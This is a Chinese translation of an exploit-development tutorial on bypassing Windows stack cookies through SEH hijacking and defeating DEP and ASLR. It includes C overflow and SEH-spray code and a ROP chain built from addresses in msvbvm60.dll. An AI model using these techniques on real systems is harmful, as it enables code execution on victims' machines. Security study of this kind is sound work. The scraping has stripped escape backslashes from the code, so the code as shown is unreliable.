OSED(那些学习过程中被人们遗忘的东西)

admin 2022年8月20日10:16:58评论105 views字数 34642阅读115分28秒阅读模式

经典堆栈溢出

    经典的堆栈溢出是最容易理解的内存损坏漏洞。易受攻击的应用程序包含一个函数,该函数将用户控制的数据写入堆栈而不验证其长度。这允许攻击者:

  1. 1. 将 shellcode 写入堆栈。

  2. 2. 覆盖当前函数的返回地址以指向 shellcode。

    如果可以通过这种方式破坏堆栈而不破坏应用程序,则当被利用的函数返回时,shellcode 将执行。这个概念的一个例子如下:

#include <Windows.h>#include <stdio.h>#include <stdint.h>uint8_t OverflowData[] =  "AAAAAAAAAAAAAAAA" // 16 bytes for size of buffer  "BBBB"          // +4 bytes for stack cookie  "CCCC"          // +4 bytes for EBP  "DDDD";         // +4 bytes for return addressvoid Overflow(uint8_t* pInputBuf, uint32_t dwInputBufSize) {  char Buf[16] = { 0 };  memcpy(Buf, pInputBuf, dwInputBufSize);}int32_t wmain(int32_t nArgc, const wchar_t* pArgv[]) {  printf("sending %d bytes of data to vulnerable function....rn"sizeof(OverflowData) - 1);  Overflow(OverflowData, sizeof(OverflowData) - 1);  return 0;}

OSED(那些学习过程中被人们遗忘的东西)

图 1. 经典溢出覆盖返回地址为 0x44444444

    堆栈溢出是一种技术(与字符串格式错误和堆溢出不同),它仍然可以在现代 Windows 应用程序中被利用,使用与几十年前发布的Smashing the Stack for Fun and Profit相同的概念。但是,现在适用于此类攻击的缓解措施是相当可观的。

    默认情况下,在 Windows 10 上,使用 Visual Studio 2019 编译的应用程序将继承一组默认的堆栈溢出漏洞安全缓解措施,其中包括:

    1. 编译器警告(3 级)C4996

https://docs.microsoft.com/en-us/cpp/error-messages/compiler-warnings/compiler-warning-level-3-c4996?view=vs-2019


    2. /GS(缓冲区安全检查)和安全变量排序。

https://docs.microsoft.com/en-us/cpp/build/reference/gs-buffer-security-check?view=vs-2019


    3. 安全结构化异常处理(SEH)

https://docs.microsoft.com/en-us/cpp/build/reference/safeseh-image-has-safe-exception-handlers?view=vs-2019

    4. 数据执行保护(DEP)

https://docs.microsoft.com/en-us/windows/win32/memory/data-execution-prevention

    5. 地址空间布局随机化(ASLR)

https://docs.microsoft.com/en-us/cpp/build/reference/dynamicbase-use-address-space-layout-randomization?view=msvc-170&viewFallbackFrom=vs-2019

    6. 结构化异常处理覆盖保护(SEHOP)

https://msrc-blog.microsoft.com/2009/02/02/preventing-the-exploitation-of-structured-exception-handler-seh-overwrites-with-sehop/

OSED(那些学习过程中被人们遗忘的东西)

    易受攻击的 CRT API(例如strcpy )的贬值以及通过 SafeCRT 库引入这些 API(例如strcpy_s)的安全版本并不是解决堆栈溢出问题的全面解决方案。memcpy等 API仍然有效,这些 CRT API 的非 POSIX 变体(例如KERNEL32.DLL!lstrcpyA)也是有效的。尝试在 Visual Studio 2019 中编译包含这些已弃用 API 之一的应用程序会导致致命的编译错误,尽管可以抑制。

    堆栈 cookie 是一种安全机制,它首先尝试真正“修复”并防止堆栈溢出在运行时被利用。SafeSEH和SEHOP缓解了堆栈 cookie 的解决方法,而DEP和ASLR不是特定于堆栈的缓解措施,因为它们不能防止堆栈溢出攻击的发生。相反,它们使通过这种攻击执行 shellcode 的任务变得更加复杂。随着本文的深入,所有这些缓解措施都将得到深入探讨。下一节将重点介绍堆栈 cookie,因为它们是我们尝试现代堆栈溢出时的主要对手。

堆栈 Cookie、GS 和 GS++

    随着 Visual Studio 2003 的发布,Microsoft在其 MSVC 编译器中加入了一个称为GS的新堆栈溢出缓解功能。两年后,他们在 Visual Studio 2005 发布时默认启用了它。

OSED(那些学习过程中被人们遗忘的东西)

    有大量关于GS在线主题的过时和/或不完整信息,包括 2009 年讨论过的原始Corelan 教程。原因是 GS 安全缓解措施自最初发布以来已经发展,并且在Visual Studio 2010 一个名为GS++的增强版 GS取代了原始的 GS 功能(在当时创建的一个优秀的Microsoft Channel9 视频中进行了讨论)。令人困惑的是,微软从未更新其编译器开关的名称,尽管它实际上是 GS++,但直到今天它仍然是“/GS”。

    GS从根本上说是一种安全缓解,编译到二进制级别的程序中,它将执行堆栈损坏检查(通过使用堆栈 cookie)放置在包含 Microsoft 称为“GS 缓冲区”(易受堆栈溢出攻击的缓冲区)的函数中。虽然最初的 GS 仅将元素大小为 1 或 2(字符和宽字符)的 8 个或更多元素的数组视为 GS 缓冲区,但 GS++ 大大扩展了此定义以包括:

    1. 任何数组(无论长度或元素大小)。

    2. 任何结构(无论其内容如何)。

OSED(那些学习过程中被人们遗忘的东西)

图 2. GS stack canary 栈布局设计

    这种增强与现代堆栈溢出有很大的相关性,因为它本质上使所有容易受到堆栈溢出攻击的函数对通过返回地址的EIP劫持免疫。这反过来又会对其他过时的利用技术产生影响,例如通过部分 EIP 覆盖绕过 ASLR (也在一些经典的 Corelan 教程中讨论),著名的 Vista CVE-2007-0038动画光标利用,利用了2007 年的 struct 溢出。随着2010 年GS++的出现,部分EIP覆盖作为一种在典型堆栈溢出场景中绕过 ASLR 的方法不再可行。

OSED(那些学习过程中被人们遗忘的东西)

    MSDN上关于 GS的信息(最后一次更新是在 2016 年,四年前)与我自己的一些关于 GS 覆盖率的测试相矛盾。例如,Microsoft 列出了以下变量作为非 GS 缓冲区的示例:

char *pBuf[20];void *pv[20];char buf[4];int buf[2];struct { int a; int b; };

    然而,在我自己使用 VS2019 的测试中,这些变量中的每一个都会导致创建堆栈 cookie。

  堆栈 cookie 到底是什么,它们是如何工作的?

  1. 堆栈 cookie 在 Visual Studio 2019 中默认设置。它们使用/GS标志进行配置,在项目设置的项目 -> 属性 -> C/C++ -> 代码生成 -> 安全检查字段中指定。

  2. 当使用/GS编译的 PE被加载时,它会初始化一个新的随机堆栈 cookie 种子值并将其作为全局变量存储在其.data部分中。

  3. 每当调用包含 GS 缓冲区的函数时,它都会将此堆栈 cookie 种子与EBP寄存器进行异或,并将其存储在保存的EBP寄存器和返回地址之前的堆栈中。

  4. 在安全函数返回之前,它再次将其保存的伪唯一堆栈 cookie 与EBP进行异或,以获取原始堆栈 cookie 种子值,并检查以确保它仍然与存储在.data部分中的种子匹配。

  5. 如果值不匹配,应用程序将引发安全异常并终止执行。

    由于不可能在不覆盖函数堆栈帧中保存的堆栈 cookie 的情况下覆盖返回地址,因此该机制消除了通过RET指令劫持EIP从而实现任意代码执行的堆栈溢出漏洞。

    在现代上下文中编译和执行图 1所示的基本堆栈溢出项目会导致STATUS_STACK_BUFFER_OVERRUN异常(代码0xC0000409);可以使用调试器逐步剖析其原因。

OSED(那些学习过程中被人们遗忘的东西)

图 3. 初始化堆栈帧后易受攻击函数的调试跟踪

    值得注意的是,图 3中的堆栈帧的大小为 0x14 (20) 字节,尽管此函数中的缓冲区大小为 0x10 (16) 字节。这些额外的四个字节被分配以适应堆栈 cookie 的存在,可以在堆栈上看到其值为0xE98F41AF,位于保存的EBP寄存器和返回地址之前的0x0135FE30 。重新检查图 1中的溢出数据,我们可以预测在 memcpy 从使用我们预期的 28 字节覆盖大小为 16 字节的本地缓冲区返回后堆栈应该是什么样子。

uint8_t OverflowData[] =  "AAAAAAAAAAAAAAAA" // 16 bytes for size of buffer  "BBBB"          // +4 bytes for stack cookie  "CCCC"          // +4 bytes for EBP  "DDDD";         // +4 bytes for return address

    0x0135FE20和0x0135FE30 (本地缓冲区为 16 字节)之间的地址范围应被 As(0x41 字节)覆盖。应该用 Bs 覆盖0x0135FE30处的堆栈 cookie ,从而产生一个新值0x42424242。保存在0x0135FE34的EBP寄存器应该用 Cs 覆盖,得到新的值0x43434343 ,而在0x0135FE38的返回地址应该用 Ds 覆盖,得到新的值0x44444444。这个0x44444444的新地址是EIP在溢出成功时被重定向到的地方。

OSED(那些学习过程中被人们遗忘的东西)

图 4. 堆栈溢出后易受攻击的函数的调试跟踪

    果然,在 memcpy 返回之后,我们可以看到堆栈确实已经被我们想要的数据破坏了,包括返回地址0x0135FE38,现在是0x44444444。从历史上看,当这个函数返回时,我们会期望访问冲突异常,断言0x44444444是一个无效的执行地址。但是,堆栈 cookie 安全检查会阻止这种情况。当此函数首次执行时,存储在.data中的堆栈 cookie 种子与EBP进行异或运算时,结果为0xE98F41AF ,随后将其保存到堆栈中。因为这个值被0x42424242覆盖了在溢出期间(如果我们希望能够覆盖返回地址并因此劫持EIP ,这是不可避免的)它产生了一个中毒的堆栈 cookie 值0x43778C76 (在ECX中可以清楚地看到),现在被传递给一个内部函数调用__security_check_cookie进行验证。

OSED(那些学习过程中被人们遗忘的东西)

图 5. 易受攻击的应用程序的调试跟踪在被允许调用 __security_check_cookie 后引发安全异常。

    调用此函数后,将导致STATUS_STACK_BUFFER_OVERRUN异常(代码0xC0000409)。这将使进程崩溃,但会阻止攻击者成功利用它。

    记住这些概念和实际示例后,您可能已经注意到有关堆栈 cookie 的几个“有趣”的事情:

  1. 它们不能防止发生堆栈溢出。攻击者仍然可以随心所欲地覆盖堆栈上任意数量的数据。

  2. 它们仅在每个功能的基础上是伪随机的。这意味着,由于.data中堆栈 cookie 种子的内存泄漏以及堆栈指针的泄漏,攻击者可以准确地预测 cookie 并将其嵌入到溢出中以绕过安全异常。


    从根本上说(假设它们无法通过内存泄漏来预测)堆栈 cookie 只会阻止我们通过易受攻击的函数的返回地址劫持EIP 。这意味着我们仍然可以以任何我们想要的方式破坏堆栈,并且在安全检查和 RET 指令之前执行的任何代码都是公平的游戏。这对可靠地利用现代堆栈溢出有何价值?

SEH 劫持

    给定进程中的每个线程都可以(并且默认情况下)注册处理函数以在触发异常时调用。指向这些处理程序的指针通常存储在堆栈中的EXCEPTION_REGISTRATION_RECORD结构中。在任何版本的 Windows 上启动 32 位应用程序将导致至少一个这样的处理程序被注册并存储在堆栈中,如下所示。

OSED(那些学习过程中被人们遗忘的东西)

图 6. NTDLL 在线程初始化期间默认注册的 SEH 帧

    上面突出显示的EXCEPTION_REGISTRATION_RECORD包含指向下一个 SEH 记录(也存储在堆栈中)的指针,后跟指向处理函数的指针(在本例中为NTDLL.DLL中的函数)。

typedef struct _EXCEPTION_REGISTRATION_RECORD{     PEXCEPTION_REGISTRATION_RECORD Next;     PEXCEPTION_DISPOSITION Handler;} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;

    在内部,指向SEH 处理程序列表的指针存储在每个线程的TEB的偏移量零处,并且每个EXCEPTION_REGISTRATION_RECORD都链接到下一个。如果处理程序无法正确处理抛出的异常,它会将执行交给下一个处理程序,依此类推。

OSED(那些学习过程中被人们遗忘的东西)

图 7. SEH 链栈布局

    因此,SEH 提供了绕过堆栈 cookie 的理想方法。我们可以溢出堆栈,覆盖现有的 SEH 处理程序(肯定至少有一个),然后影响应用程序崩溃(考虑到我们有能力破坏堆栈内存,这不是一个特别困难的提议)。这将导致EIP被重定向到我们覆盖EXCEPTION_REGISTRATION_RECORD结构中现有处理程序的地址,并且在易受攻击的函数结束时调用 __security_check_cookie 之前。结果,应用程序将没有机会在我们的 shellcode 执行之前发现它的堆栈已损坏。

#include <Windows.h>#include <stdio.h>#include <stdint.h>
void Overflow(uint8_t* pInputBuf, uint32_t dwInputBufSize) {    char Buf[16] = { 0 };    memcpy(Buf, pInputBuf, dwInputBufSize);}
EXCEPTION_DISPOSITION __cdecl FakeHandler(EXCEPTION_RECORD* pExceptionRecord, void* pEstablisherFrame, CONTEXT* pContextRecord, void* pDispatcherContext) {    printf("... fake exception handler executed at 0x%prn", FakeHandler);    system("pause");    return ExceptionContinueExecution;}
int32_t wmain(int32_t nArgc, const wchar_t* pArgv[]) {    uint32_t dwOverflowSize = 0x20000;    uint8_t* pOverflowBuf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, dwOverflowSize); printf("... spraying %d copies of fake exception handler at 0x%p to the stack...rn", dwOverflowSize / 4, FakeHandler);
    for (uint32_t dwOffset = 0; dwOffset < dwOverflowSize; dwOffset += 4) {   *(uint32_t*)&pOverflowBuf[dwOffset] = FakeHandler; }
    printf("... passing %d bytes of data to vulnerable functionrn", dwOverflowSize);    Overflow(pOverflowBuf, dwOverflowSize);    return 0;}

图 8. 使用自定义 SEH 处理程序喷洒堆栈以覆盖现有注册结构

OSED(那些学习过程中被人们遗忘的东西)

图 9. 溢出堆栈并覆盖现有的默认 SEH 处理程序 EXCEPTION_REGISTRATION 的结果

    我们没有在 EXE 中的FakeHandler函数上设置断点,而是得到一个STATUS_INVALID_EXCEPTION_HANDLER异常(代码0xC00001A5)。这是源自SafeSEH的安全缓解异常。SafeSEH 是仅针对 32 位 PE 文件的安全缓解措施。在 64 位 PE 文件中,名为IMAGE_DIRECTORY_ENTRY_EXCEPTION的永久(非可选)数据目录替换了最初在 32 位 PE 文件中的IMAGE_DIRECTORY_ENTRY_COPYRIGHT数据目录。SafeSEH在 Visual Studio 2003中与GS一起发布,随后在 Visual Studio 2005 中成为默认设置。

OSED(那些学习过程中被人们遗忘的东西)

什么是SafeSEH,它是如何工作的?
  1. SafeSEH 在 Visual Studio 2019 中默认设置。它使用/SAFESEH标志进行配置,在Project -> Properties -> Linker -> Advanced -> Image Has Safe Exception Handlers中指定。

  2. SafeSEH编译的 PE 有一个有效 SEH 处理程序地址列表,该列表存储在名为SEHandlerTable的表中,该表在其IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG数据目录中指定。

  3. 每当触发异常时,在执行EXCEPTION_REGISTRATION_RECORD链表中每个处理程序的地址之前,Windows 将检查处理程序是否在图像内存范围内(表明它与加载的模块相关),如果是,它将使用其SEHandlerTable检查此处理程序地址是否对相关模块有效。

    

    通过在图 8中通过堆栈溢出的方式人工注册处理程序,我们创建了一个编译器无法识别的处理程序(因此不会添加到SEHandlerTable 中)。通常,编译器会将作为__try __except语句的副作用创建的处理程序添加到此表中。禁用 SafeSEH 后,再次运行此代码会导致堆栈溢出,从而执行喷射处理程序。

OSED(那些学习过程中被人们遗忘的东西)

图 10. 堆栈溢出导致执行编译到 PE EXE 映像的主映像中的虚假 SEH 处理程序。

    考虑到自 2005 年以来在 Visual Studio 中默认启用了 SafeSEH,假设在现代应用程序中存在禁用SafeSEH的已加载 PE 确实违背了本文的目的?在为自己探索这个问题时,我编写了一个 PE 文件扫描工具(此处为 Github 发布版),它能够在系统范围内基于每个文件识别漏洞利用缓解措施的存在(或缺乏)。在将此扫描程序指向我的 Windows 10 VM 上的 SysWOW64 文件夹(并过滤非 SafeSEH PE)后,结果非常令人惊讶。   

OSED(那些学习过程中被人们遗忘的东西)

图 11. 我的 Windows 10 VM 上 SysWOW64 文件夹中 SafeSEH 的 PE 缓解扫描统计数据

    微软本身似乎有相当多的非 SafeSEH PE,尤其是今天仍随 Windows 10 提供的 DLL。扫描我的 Program Files 文件夹给出了更明显的结果,大约 7% 的 PE 缺少 SafeSEH。事实上,尽管我的 VM 上安装的第三方应用程序很少,但从 7-zip 到 Sublime Text 再到 VMWare Tools,几乎每一个应用程序都至少有一个非 SafeSEH 模块。即使在进程的地址空间中存在一个这样的模块,也可能足以绕过其堆栈 cookie 缓解措施,使用本文探讨的技术进行堆栈溢出。

    值得注意的是,可以认为SafeSEH在两种不同的情况下对 PE 是有效的,它们是我的工具在其扫描中使用的标准:

  1. IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG数据目录中存在上述SEHandlerTable以及大于零的SEHandlerCount 。

  2. 在IMAGE_OPTIONAL_HEADER.DllCharacteristics标头字段中设置了IMAGE_DLLCHARACTERISTICS_NO_SEH标志。


    假设没有SafeSEH的模块被加载到易受攻击的应用程序中,那么漏洞利用编写者仍然存在一个重大障碍。回到图 10,一个虚假的 SEH 处理程序通过堆栈溢出成功执行,但是这个处理程序被编译到 PE EXE 映像本身中。为了实现任意代码执行,我们需要能够执行存储在堆栈中的虚假 SEH 处理程序(shellcode)。

DEP 和 ASLR

    由于DEP和ASLR的存在,将堆栈上的 shellcode 用作假异常处理程序有几个障碍:

  • 由于ASLR ,我们不知道我们的 shellcode 在堆栈上的地址,因此无法将其嵌入到溢出中以喷射到堆栈中。

  • 由于DEP ,堆栈本身以及我们的 shellcode 默认情况下是不可执行的。

    随着 2004 年 Windows XP SP2 的出现, DEP首次在 Windows 世界中得到广泛采用,此后几乎成为当今使用的所有现代应用程序和操作系统的普遍特征。它是通过使用硬件层上内存页的 PTE 标头中的特殊位( NX aka Non-eXecutable 位)来强制执行的,该位默认设置在 Windows 中所有新分配的内存上。这意味着必须显式创建可执行内存,方法是通过KERNEL32.DLL!VirtualAlloc等 API 分配具有可执行权限的新内存,或者通过使用 KERNEL32.DLL 等 API 将现有的不可执行内存修改为可执行!虚拟保护. 这样做的一个隐含的副作用是,堆栈和堆在默认情况下都是不可执行的,这意味着我们不能直接从这些位置执行 shellcode,必须首先为它开辟一个可执行的 enclave。

    从漏洞利用编写的角度理解的关键是,DEP 是一种全有或全无的缓解措施,适用于进程中的所有内存或不适用。如果生成进程的主 EXE 使用/NXCOMPAT标志编译,则整个进程将启用 DEP。与 SafeSEH 或 ASLR 等缓解措施形成鲜明对比的是,没有非 DEP DLL 模块之类的东西。可以在此处找到更详细地探讨此想法的帖子。

OSED(那些学习过程中被人们遗忘的东西)

    从漏洞利用编写的角度来看,DEP 的解决方案长期以来一直被理解为面向返回的编程(ROP)。原则上,现有的可执行内存将与攻击者提供的堆栈一起以小片段的形式回收,以实现为我们的 shellcode 划分出可执行 enclave 的目标。阅读过我的Masking Malicious Memory Artifacts系列的读者已经熟悉 Windows 用户模式进程地址空间的典型布局,并且会意识到可执行内存几乎完全以与.text关联的+RX区域的形式存在。加载的 PE 模块中的部分。在创建漏洞利用的上下文中,这意味着 ROP 链通常由这些.text部分中的回收字节序列构成。在创建自己的 ROP 链时,我选择使用KERNEL32.DLL!VirtualProtect API 以使包含我的 shellcode 的堆栈区域成为可执行文件。这个API的原型如下:

BOOL VirtualProtect(  LPVOID lpAddress,  SIZE_T dwSize,  DWORD  flNewProtect,  PDWORD lpflOldProtect);

    从历史上看,在ASLR 之前,通过溢出控制堆栈的能力足以简单地将所有这五个参数作为常量植入堆栈,然后触发EIP重定向到KERNEL32.DLL中的VirtualProtect(其基础可以指望保持静止)。唯一的障碍是不知道作为第一个参数传递或用作返回地址的 shellcode 的确切地址。使用NOP sledding(在 shellcode 前面用大的NOP字段填充的做法)解决了这个老问题说明,即。0x90)。然后,漏洞利用编写者可以对 shellcode 所在堆栈的一般区域进行有根据的猜测,在此范围内选择一个地址并将其直接植入他的溢出中,从而允许NOP sled 将此猜测转换为精确的代码执行。

随着 2006 年带有 Windows Vista 的ASLR的出现,ROP 链的创建变得有些棘手,因为现在:

  • KERNEL32.DLL的基地址,因此VirtualProtect变得不可预测。

  • shellcode的地址再也猜不出来了。

  • 包含要回收的可执行代码片段的模块的地址,即。ROP 小工具本身变得不可预测。

OSED(那些学习过程中被人们遗忘的东西)

    这导致了对 ROP 链的要求更高和更精确的实现,并且NOP sleds(以其经典的大约 1996 年形式)成为一种过时的 pre-ASLR 开发技术。它还导致 ASLR 旁路成为 DEP 旁路的先驱。如果不绕过 ASLR 在易受攻击的进程中定位至少一个模块的基地址,则无法知道 ROP gadgets 的地址,因此无法执行 ROP 链,也无法调用VirtualProtect绕过 DEP。

    要创建现代 ROP 链,我们首先需要一个能够在运行时预测其基础的模块。在大多数现代漏洞利用中,这是通过使用内存泄漏漏洞来完成的(将在本系列的字符串格式错误和堆损坏续集中探讨这个主题)。为简单起见,我选择将非 ASLR 模块引入易受攻击进程的地址空间(来自我的 Windows 10 VM 的 SysWOW64 目录)。在继续之前,必须了解在漏洞利用编写中非 ASLR 模块背后的概念(及其意义)。

从漏洞利用开发的角度来看,这些是我认为最有价值的ASLR概念:

  1. ASLR 在 Visual Studio 2019 中默认设置。它使用/DYNAMICBASE标志进行配置,在项目设置的项目 -> 属性 -> 链接器 -> 高级 -> 随机基地址字段中指定。

  2. 当使用该标志编译 PE 时,它(默认情况下)总是会导致创建IMAGE_DIRECTORY_ENTRY_BASERELOC数据目录(存储在 PE 的.reloc部分中)。如果没有这些重定位,Windows 就不可能重新定位模块并强制执行 ASLR。

  3. 编译后的 PE 将在其IMAGE_OPTIONAL_HEADER.DllCharacteristics标头字段中设置IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE标志。

  4. 加载 PE 时,将为它选择一个随机基地址,并且其代码/数据中的所有绝对地址将使用重定位部分重新定位。这个随机地址在每次启动时唯一一次。

  5. 如果用于启动进程的主 PE (EXE) 启用了 ASLR,它也会导致堆栈和堆随机化。

    您可能会注意到,这实际上会导致可能出现非 ASLR 模块的两种不同情况。第一个是显式编译模块以排除 ASLR 标志(或在标志存在之前编译),第二个是设置了 ASLR 标志但由于缺少重定位而无法应用的位置。开发人员的一个常见错误是在他们的编译器中将“strip relocations”选项与 ASLR 标志结合使用,认为生成的二进制文件受 ASLR 保护,而实际上它仍然容易受到攻击。历史上非 ASLR 模块非常普遍,甚至在Windows 7+ Web 浏览器漏洞利用中被滥用在商业恶意软件方面取得了巨大成功。此类模块逐渐变得稀缺,这在很大程度上是因为 ASLR 是在 Visual Studio 等 IDE 中默认应用的一种安全缓解措施。令人惊讶的是,我的扫描仪在我的 Windows 10 VM 上发现了大量非 ASLR 模块,包括在 System32 和 SysWOW64 目录中。

OSED(那些学习过程中被人们遗忘的东西)

图 12. 在我的 Windows 10 VM 的 SysWOW64 目录中扫描非 ASLR 模块的结果

    值得注意的是,图 12中显示的所有非 ASLR 模块都具有非常不同(且唯一)的基地址。这些是 Microsoft 编译的 PE 文件,其特定目的是不使用 ASLR,大概是出于性能或兼容性的原因。它们将始终在IMAGE_OPTIONAL_HEADER.ImageBase中指定的图像库中加载(图 12中突出显示的值)。显然,这些独特的图像库是由编译器在创建时随机选择的。通常,PE 文件在其 PE 头中都包含一个默认的图像基础值,例如EXE的0x00400000和0x1000000对于 DLL。这种故意创建的非 ASLR 模块与错误创建的非 ASLR 模块形成鲜明对比,如下图 13所示。

OSED(那些学习过程中被人们遗忘的东西)

图 13. 在我的 Windows 10 VM 的“Program Files”目录中扫描非 ASLR 模块的结果

    这是在最新版本的HXD Hex Editor中作为重定位剥离(不知情的开发人员的旧优化习惯)的副作用而创建的非 ASLR 模块的主要示例。值得注意的是,您可以在上面的图 13中看到,与图 12中的模块(具有随机基地址)不同,这些模块都具有相同的默认映像库0x00400000编译到它们的 PE 标头中。这与它们的 PE 头文件中的IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE标志一起指向编译它们的开发人员的一个假设,即它们将被加载到随机地址而不是0x00400000,因此受到 ASLR 保护。然而,在实践中,我们可以依赖它们总是在地址0x00400000加载,尽管它们启用了 ASLR,因为在没有重定位数据的情况下,操作系统无法在初始化期间重新定位它们。

    通过在非 ASLR 模块的可执行部分(通常是它们的.text部分)中回收代码,我们能够构建 ROP 链来调用KERNEL32.DLL!VirtualProtect API 并为堆栈上的 shellcode 禁用 DEP。

    我从图 12中为我的 ROP 链选择了SysWOW64 中的非 ASLR 模块msvbvm60.dll ,因为它不仅缺乏 ASLR 保护,而且还缺乏 SafeSEH(考虑到我们必须知道假 SEH 处理程序/堆栈枢轴小工具的地址,这是一个关键细节我们在溢出时写入堆栈)。它还通过其 IAT 导入了KERNEL32.DLL!VirtualProtect,这一细节显着简化了 ROP 链的创建,下一节将对此进行探讨。

创建我的 ROP 链

作为第一步,我使用Ropper从msvbvm60.dll中提取了所有可能有用的可执行代码片段(以RET、JMP或CALL指令结尾)的列表。我创建的 ROP 链有三个主要目标。

  1. 通过从msvbvm60.dll的 IAT 加载其地址来调用KERNEL32.DLL!VirtualProtect(绕过KERNEL32.DLL的 ASLR )。

  2. 动态控制VirtualProtect的第一个参数(禁用 DEP 的地址)指向我在堆栈上的 shellcode。

  3. 人为控制调用VirtualProtect的返回地址,以便在完成时动态执行堆栈上的 shellcode(现在为+RWX )。

    在编写我的 ROP 链时,我首先为我想要的汇编逻辑编写了伪代码,然后尝试使用 ROP 小工具来复制它。

Gadget #1 | MOV REG1, <Address of VirtualProtect IAT thunk> ; RETGadget #2 | MOV REG2, <Address of JMP ESP - Gadget #6> ; RETGadget #3 | MOV REG3, <Address of gadget #5> ; RETGadget #4 | PUSH ESP ; PUSH REG3 ; RETGadget #5 | PUSH REG2 ; JMP DWORD [REG1]Gadget #6 | JMP ESP

图 14. ROP 链伪代码逻辑

    值得注意的是,在我精心设计的逻辑中,我在msvbvm60.dll中使用了一个取消引用的 IAT thunk 地址,其中包含VirtualProtect的地址,以解决KERNEL32.DLL的 ASLR 问题。Windows 可以在加载msvbvm60.dll时为我们解析VirtualProtect的地址,并且该地址将始终存储在msvbvm60.dll内的同一位置。我正在使用JMP指令来调用它,而不是CALL指令。这是因为我需要为VirtualProtect的调用创建一个人工返回地址,一个返回地址,它将导致直接执行 shellcode(现在从 DEP 约束中解放出来)。这个人为的返回地址转到JMP ESP小工具。我的理由是,尽管不知道(也无法知道)通过溢出写入堆栈的 shellcode 的位置,但可以指望ESP在最终小工具返回后指向我的 ROP 链的末尾,并且我可以制作我的溢出,以便 shellcode 直接跟随这个 ROP 链。此外,我在第四个小工具中使用了相同的概念,其中我使用双击动态生成使用ESP的VirtualProtect的第一个参数。不同于JMP ESP指令(其中ESP将直接指向我的 shellcode)这里的ESP会稍微偏离我的 shellcode(运行时ESP和 ROP 链末端之间的距离)。这不是问题,因为将会发生的只是ROP 链的尾部除了shellcode 本身之外还将禁用DEP。

    将此逻辑用于构建我的实际 ROP 链的任务中,我发现小工具 #4(我的伪代码小工具中最稀有和最不可替代的)不在msvbvm60.dll中。这个挫折很好地说明了为什么您在任何公共漏洞中发现的几乎每个 ROP 链都使用PUSHAD指令,而不是类似于我描述的伪代码的逻辑。

    简而言之,PUSHAD指令允许漏洞利用编写者动态地将ESP的值(以及堆栈上的 shellcode 的地址)与所有其他相关的KERNEL32.DLL!VirtualProtect参数一起动态放置到堆栈上,而无需使用任何稀有的小玩意。所需要做的就是正确填充每个通用寄存器的值,然后执行PUSHAD ;RET小工具完成攻击。可以在 Corelan 的Exploit 编写教程第 10 部分中找到有关其工作原理的更详细说明:使用 ROP 链接 DEP . 我最终为攻击创建的链需要按以下方式设置攻击寄存器:

EAX = NOP sled  ECX = Old protection (writable address)  EDX = PAGE_EXECUTE_READWRITE  EBX = Size  EBP = VirtualProtect return address (JMP ESP)  ESI = KERNEL32.DLL!VirtualProtect  EDI = ROPNOP

    在实践中,这个逻辑被复制到了由下面的伪代码表示的 ROP 小工具中:

Gadget #1 | MOV EAX, <msvbvm60.dll!VirtualProtect> Gadget #2 | MOV ESI, DWORD [EAX] Gadget #3 | MOV EAX, 0x90909090 Gadget #4 | MOV ECX, <msvbvm60.dll!.data> Gadget #5 | MOV EDX, 0x40 Gadget #6 | MOV EBX, 0x2000 Gadget #7 | MOV EBP, <Address of gadget #11> Gadget #8 | MOV EDI, <Address of gadget #10> Gadget #9 | PUSHAD Gadget #10 | ROPNOP Gadget #11 | JMP ESP

这个伪代码逻辑最终翻译成下面从msvbvm60.dll派生的ROP链数据:

uint8_t RopChain[] =    "x54x1ex00x66" // 0x66001e54 | Gadget #1 | POP ESI ; RET    "xd0x10x00x66" // 0x660010d0 -> ESI | <msvbvm60.dll!VirtualProtect thunk>    "xfcx50x05x66" // 0x660550fc | Gadget #2 | MOV EAX, DWORD [ESI] ; POP ESI; RET    "xefxbexadxde" // Junk    "xf8x9fx0fx66" // 0x660f9ff8 | Gadget #3 | XCHG EAX, ESI; RET    "x1fx98x0ex66" // 0x660e981f | Gadget #4 | POP EAX; RET    "x90x90x90x90" // NOP sled -> EAX | JMP ESP will point here    "xf0x1dx00x66" // 0x66001df0 | Gadget #5 | POP EBP; RET    "xeaxcbx01x66" // 0x6601CBEA -> EBP | <Gadget #12>    "x10x1fx00x66" // 0x66001f10 | Gadget #6 | POP EBX; RET    "x00x20x00x00" // 0x2000 -> EBX | VirtualProtect() | Param #2 | dwSize    "x21x44x06x66" // 0x66064421 | Gadget #7 | POP EDX; RET    "x40x00x00x00" // 0x40 -> EDX | VirtualProtect() | Param #3 | flNewProtect | PAGE_EXECUTE_READWRITE    "xf2x1fx00x66" // 0x66001ff2 | Gadget #8 | POP ECX; RET    "x00xa0x10x66" // 0x6610A000 -> ECX | VirtualProtect() | Param #4 | lpflOldProtect    "x5bx57x00x66" // 0x6600575b | Gadget #9 | POP EDI; RET    "xf9x28x0fx66" // 0x660F28F9 -> EDI | <Gadget #11>    "x54x12x05x66" // 0x66051254 | Gadget #10 | PUSHAD; RET    // 0x660F28F9 | Gadget #11 | ROPNOP | returns into VirtualProtect    // 0x6601CBEA | Gadget #12 | PUSH ESP; RET | return address from VirtualProtect

图 15. 从 msvbvm60.dll 派生的 ROP 链

实现任意代码执行

    构建了 ROP 链并处理了劫持EIP的方法后,剩下的唯一任务就是构建实际的漏洞利用程序。首先,当我们的假 SEH 处理程序接收到程序的控制权时,了解堆栈的布局是关键。理想情况下,我们希望ESP直接指向我们的 ROP 链的顶部,同时将EIP重定向到链中的第一个小工具。在实践中,这是不可能的。重新访问图 8所示的堆栈喷射代码,让我们在假处理程序的开始处设置断点,并观察堆栈后溢出和 EIP 劫持后的状态。

OSED(那些学习过程中被人们遗忘的东西)

图 16. 执行喷射的 SEH 处理程序时的堆栈状态

